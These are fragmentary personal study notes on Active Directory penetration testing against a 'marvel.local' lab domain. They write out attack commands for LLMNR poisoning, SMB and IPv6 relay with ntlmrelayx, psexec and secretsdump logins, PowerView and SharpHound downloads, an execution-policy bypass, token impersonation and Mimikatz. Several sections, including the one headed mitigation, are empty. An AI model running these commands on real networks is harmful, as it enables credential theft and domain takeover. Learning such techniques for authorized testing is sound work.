AD Pentesting Notes
AD Pentesting Notes
Basics
AD --> Directory service to manage Windows domain networks Stores information related to
objects e.g. Computers, Users, Printers, etc. Authentication --> using Kerberos
AD DS Data Store
1. Consists of NTDS.dit
-> AD Schema: Blueprint of what type of object can be stored within the AD --> Domain: Used
to group and manage objects in organizations --> Tree: Group of domains (Can have child
domains) --> Forest: Collection of trees --> Organizational Units: Containers for users, groups,
etc. --> Trust: How we have access between resources Directional: Flows from trusting domain
to trusted domain Transitive: Trust relationship is extended beyond a two-domain trust to
include other trusted domains. --> Objects: What is present inside an OU
2. Victim tries to know where a specific device is present let’s say printer.
3. Server let’s say doesn’t know where it is so it won’t respond that i do know
4. Victim sends a broadcast message in the network
5. Attacker running responder responds that yes I am the printer, send me your hash and i’ll
connect you
6. Victim sends the hash
7. Attacker cracks and it and bingo! Inside the AD environment
Steps to perform attack:
Mitigation:
Instead of cracking the hash, we relay those hashes to specific machines and gain access
Requirements:
the IPs that do have SMB signing enabled but don’t required are the one that we do need
We can also use following command which will execute whoami command:
python3 /usr/share/doc/python3-impacket/examples/psexec.py
marvel.local/fcastle:[email protected]
python3 /usr/share/doc/python3-impacket/examples/smbexec.py
marvel.local/fcastle:[email protected]
mitm6 -d marvel.local
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -6 -t
ldaps://<DC's IP> -wh fakewpad.marvel.local -l lootme
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/Pow
erView.ps1
Invoke-WebRequest
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/mas
ter/Recon/PowerView.ps1 -Outfile PowerView.ps1
For bypassing execution policy: powershell -ep bypass
. .\\PowerView.ps1
Get-NetDomainController —> tells where the Domain Controller is and other info
Get-NetUser | select samaccountname —> display sam account name (used to login e.g.
MARVEL\Administrator)
Get-DomainGroupMember "Domain Admins” —> gets all the users of Domain Admins group
Get-NetGPO
1. BloodHound
neo4j console
bloodhound
in windows machine:
Invoke-WebRequest https://raw.githubusercontent.com/SpecterOps/BloodHound-
Legacy/refs/heads/master/Collectors/SharpHound.ps1 -Outfile SharpHound.ps1
. .\\SharpHound.ps1
now copy the zip file to the system where you have bloodhound
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py
marvel.local/fcastle:[email protected]
3. Token Impersonation
Tokens: Temporary keys that allow you to access to a system or network without providing
creds
load incognito
list_tokens -u
impersonate_token marvel\\\\administrator
4. Kerberoasting
5. GPP Attack
Group Policy Preferences attack —> allow admins to create policies using embedded
credentials
7. Mimikatz
tool used to view and steal creds, generate kerberos tickets and leverage attacks
privilege::debug —> allowing to debug a process that we won’t otherwise have access
to
steps:
privilege::debug
misc::cmd